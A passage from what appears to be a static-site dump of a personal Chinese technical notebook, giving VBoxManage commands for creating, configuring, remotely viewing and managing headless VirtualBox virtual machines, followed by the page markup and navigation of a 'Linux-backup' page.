</span><span class=\"n\">storageattach</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">storagectl</span><span class=\"w\"> </span><span class=\"n\">storage_controller_1</span><span class=\"w\"> </span><span class=\"se\">\\</span>\n<span class=\"w\">    </span><span class=\"o\">--</span><span class=\"k\">type</span><span class=\"w\"> </span><span class=\"n\">hdd</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">port</span><span class=\"w\"> </span><span class=\"mh\">0</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">device</span><span class=\"w\"> </span><span class=\"mh\">0</span><span class=\"w\">  </span><span class=\"o\">--</span><span class=\"k\">medium</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"o\">/</span><span class=\"n\">ubuntu</span><span class=\"p\">.</span><span class=\"n\">vdi</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">storageattach</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">storagectl</span><span class=\"w\"> </span><span class=\"n\">storage_controller_1</span><span class=\"w\"> </span><span class=\"se\">\\</span>\n<span class=\"w\">    </span><span class=\"o\">--</span><span class=\"k\">type</span><span class=\"w\"> </span><span class=\"n\">dvddrive</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">port</span><span class=\"w\"> </span><span class=\"mh\">1</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">device</span><span class=\"w\"> </span><span class=\"mh\">0</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">medium</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"o\">-</span><span class=\"mf\">14.04.4</span><span class=\"o\">-</span><span class=\"n\">server</span><span class=\"o\">-</span><span class=\"n\">amd64</span><span class=\"p\">.</span><span class=\"n\">iso</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">modifyvm</span><span class=\"w\"> </span><span class=\"n\">ubuntu</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">cpus</span><span class=\"w\"> </span><span class=\"mh\">4</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">memory</span><span class=\"w\"> </span><span class=\"mh\">2048</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">acpi</span><span class=\"w\"> </span><span class=\"n\">on</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">boot1</span><span class=\"w\"> </span><span class=\"n\">dvd</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">nic1</span><span class=\"w\"> </span><span class=\"n\">nat</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">cableconnected1</span><span class=\"w\"> </span><span class=\"n\">on</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">vrde</span><span class=\"w\"> </span><span class=\"n\">on</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">vrdeport</span><span class=\"w\"> </span><span class=\"mh\">3389</span>\n</code></pre></div>\n\n<p>以下是我安装CentOS 6.8 32bit minimal的过程</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">pushd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">root</span>\n<span class=\"n\">curl</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">O</span><span class=\"w\"> </span><span class=\"nl\">http:</span><span class=\"c1\">//mirrors.zju.edu.cn/centos/6.8/isos/i386/CentOS-6.8-i386-minimal.iso</span>\n<span class=\"n\">mkdir</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">home</span><span class=\"o\">/</span><span class=\"n\">virtualbox</span>\n<span class=\"p\">#</span><span class=\"err\">看看</span><span class=\"n\">ostype支持哪一些</span><span class=\"err\">，结果发现有</span><span class=\"n\">RedHat</span><span class=\"err\">，就选它咯</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">list</span><span class=\"w\"> </span><span class=\"n\">ostypes</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">createvm</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"n\">centos</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">ostype</span><span class=\"w\"> </span><span class=\"s\">&quot;RedHat&quot;</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">register</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">basefolder</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">home</span><span class=\"o\">/</span><span class=\"n\">virtualbox</span><span class=\"o\">/</span>\n<span class=\"n\">pushd</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">home</span><span class=\"o\">/</span><span class=\"n\">virtualbox</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">createvdi</span><span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">filename</span><span class=\"w\"> </span><span class=\"n\">centos</span><span class=\"o\">/</span><span class=\"n\">disk</span><span class=\"p\">.</span><span class=\"n\">vdi</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">size</span><span class=\"w\"> </span><span class=\"mh\">2048</span><span class=\"w\"> </span><span class=\"p\">#</span><span class=\"w\"> </span><span class=\"mh\">2</span><span class=\"n\">GB</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">storagectl</span><span class=\"w\"> </span><span class=\"n\">centos</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"n\">storage_controller_1</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">add</span><span class=\"w\"> </span><span class=\"n\">ide</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">storageattach</span><span class=\"w\"> </span><span class=\"n\">centos</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">storagectl</span><span class=\"w\"> </span><span class=\"n\">storage_controller_1</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">type</span><span class=\"w\"> </span><span class=\"n\">hdd</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">port</span><span class=\"w\"> </span><span class=\"mh\">0</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">device</span><span class=\"w\"> </span><span class=\"mh\">0</span><span class=\"w\">  </span><span class=\"o\">--</span><span class=\"k\">medium</span><span class=\"w\"> </span><span class=\"n\">centos</span><span class=\"o\">/</span><span class=\"n\">disk</span><span class=\"p\">.</span><span class=\"n\">vdi</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">storageattach</span><span class=\"w\"> </span><span class=\"n\">centos</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">storagectl</span><span class=\"w\"> </span><span class=\"n\">storage_controller_1</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">type</span><span class=\"w\"> </span><span class=\"n\">dvddrive</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">port</span><span class=\"w\"> </span><span class=\"mh\">1</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">device</span><span class=\"w\"> </span><span class=\"mh\">0</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"k\">medium</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">root</span><span class=\"o\">/</span><span class=\"n\">CentOS</span><span class=\"o\">-</span><span class=\"mf\">6.8</span><span class=\"o\">-</span><span class=\"n\">i386</span><span class=\"o\">-</span><span class=\"n\">minimal</span><span class=\"p\">.</span><span class=\"n\">iso</span>\n<span class=\"p\">#</span><span class=\"err\">配置</span><span class=\"n\">CPU和内存限制</span><span class=\"err\">，光驱启动，允许多个客户端连接</span>\n<span class=\"n\">VBoxManage</span><span class=\"w\"> </span><span class=\"n\">modifyvm</span><span class=\"w\"> </span><span class=\"n\">centos</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">cpus</span><span class=\"w\"> </span><span class=\"mh\">1</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">memory</span><span class=\"w\"> </span><span class=\"mh\">512</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">acpi</span><span class=\"w\"> </span><span class=\"n\">on</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">boot1</span><span class=\"w\"> </span><span class=\"n\">dvd</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">nic1</span><span class=\"w\"> </span><span class=\"n\">nat</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">cableconnected1</span><span class=\"w\"> </span><span class=\"n\">on</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">vrde</span><span class=\"w\"> </span><span class=\"n\">on</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">vrdeport</span><span class=\"w\"> </span><span class=\"mh\">13389</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">vrdemulticon</span><span class=\"w\"> </span><span class=\"n\">on</span>\n</code></pre></div>\n\n<h2 id=\"_4\">启动虚拟机<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>nohup VBoxHeadless -startvm ubuntu --vrde on -e  TCP/Ports=63389 &amp;\n</code></pre></div>\n\n<h2 id=\"_5\">控制虚拟机<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h2>\n<p>Windows下使用<code>mstsc</code>远程连接即可获得一个图形界面的终端完成系统安装</p>\n<h2 id=\"_6\">删除硬盘<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>VBoxManage storageattach centos --storagectl storage_controller_1 --type hdd --port 0 --device 0  --medium none\nVBoxManage closemedium centos/disk.vdi\nrm centos/disk.vdi\n</code></pre></div>\n\n<h2 id=\"_7\">运行条件下修改端口映射<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code># 首先通过mstsc物理接触虚拟机，确认ifconfig已经得到ip\n# 否则需要在虚拟机中执行 ifconfig -a 查看网卡，执行 dhclient eth0 获得ip\n\n# 例如我们需要将虚拟机的22端口映射出10022端口\n# 最后一个参数的格式：规则名称,tcp还是udp,主机的IP(不填就好),主机暴露出来的端口,虚拟机的IP(不填就好),需要映射的虚拟机端口\nVBoxManage controlvm 虚拟机名称 natpf1 ssh,tcp,,10022,,22\n</code></pre></div>\n\n<h2 id=\"_8\">运行条件下关闭远程控制<a class=\"headerlink\" href=\"#_8\" title=\"Permanent link\">&para;</a></h2>\n<p>系统安装好了，SSH开了，SSH的端口映射可以连上去了，就可以关掉远程控制了</p>\n<div class=\"codehilite\"><pre><span></span><code>VBoxManage controlvm 虚拟机名称 vrde off\n</code></pre></div>\n\n<h2 id=\"_9\">屏幕截图<a class=\"headerlink\" href=\"#_9\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>VBoxManage controlvm &lt;vm name&gt; screenshotpng /tmp/&lt;filename&gt;.png\n</code></pre></div>\n\n<h2 id=\"_10\">优雅的关机<a class=\"headerlink\" href=\"#_10\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>vboxmanage controlvm 虚拟机名称 poweroff soft\n</code></pre></div>\n\n<h2 id=\"vrde\">开启vrde远程桌面<a class=\"headerlink\" href=\"#vrde\" title=\"Permanent link\">&para;</a></h2>\n<p>似乎需要先关机才能操作</p>\n<div class=\"codehilite\"><pre><span></span><code>VBoxManage modifyvm &quot;VM name&quot; --vrdeextpack default\nVBoxManage modifyvm &quot;VM name&quot; --vrde on\nVBoxManage modifyvm &quot;VM name&quot; --vrdeport 3391\nVBoxManage modifyvm &quot;VM name&quot; --vrdeaddress 0.0.0.0\n</code></pre></div>\n\n<h2 id=\"vdi\">从硬盘+快照vdi文件恢复<a class=\"headerlink\" href=\"#vdi\" title=\"Permanent link\">&para;</a></h2>\n<p>假设备份的时候只复制了硬盘vdi文件和Snapshots的vdi文件，而忘记了备份vbox文件，如何恢复快照关系呢</p>\n<p>找到 https://superuser.com/questions/1224554/recreate-virtualbox-machine-with-snapshots ，思路是创建个新的虚拟机 从base vdi开始打快照-&gt;编辑vbox将新的Snapshot指向下一个快照-&gt;继续打快照重复</p>\n<p>其中就需要我们搞清楚快照的依赖关系，看文件修改的时间戳差不多可以知道，但如果没有这种信息也不必按照人家说的一个个加载尝试，可以使用<a href=\"https://superuser.com/questions/437767/how-to-merge-arbitrary-snapshot-into-base-vdi-in-virtualbox\">这篇</a>说到的<code>VBoxManage internalcommands dumphdinfo</code>来查看每个快照文件的parent是谁。</p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Linux-backup/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Bitcoin/\">\n      \n      \n        <link rel=\"next\" href=\"../Linux-setup/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Linux-backup - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#_1\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Linux-backup\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label 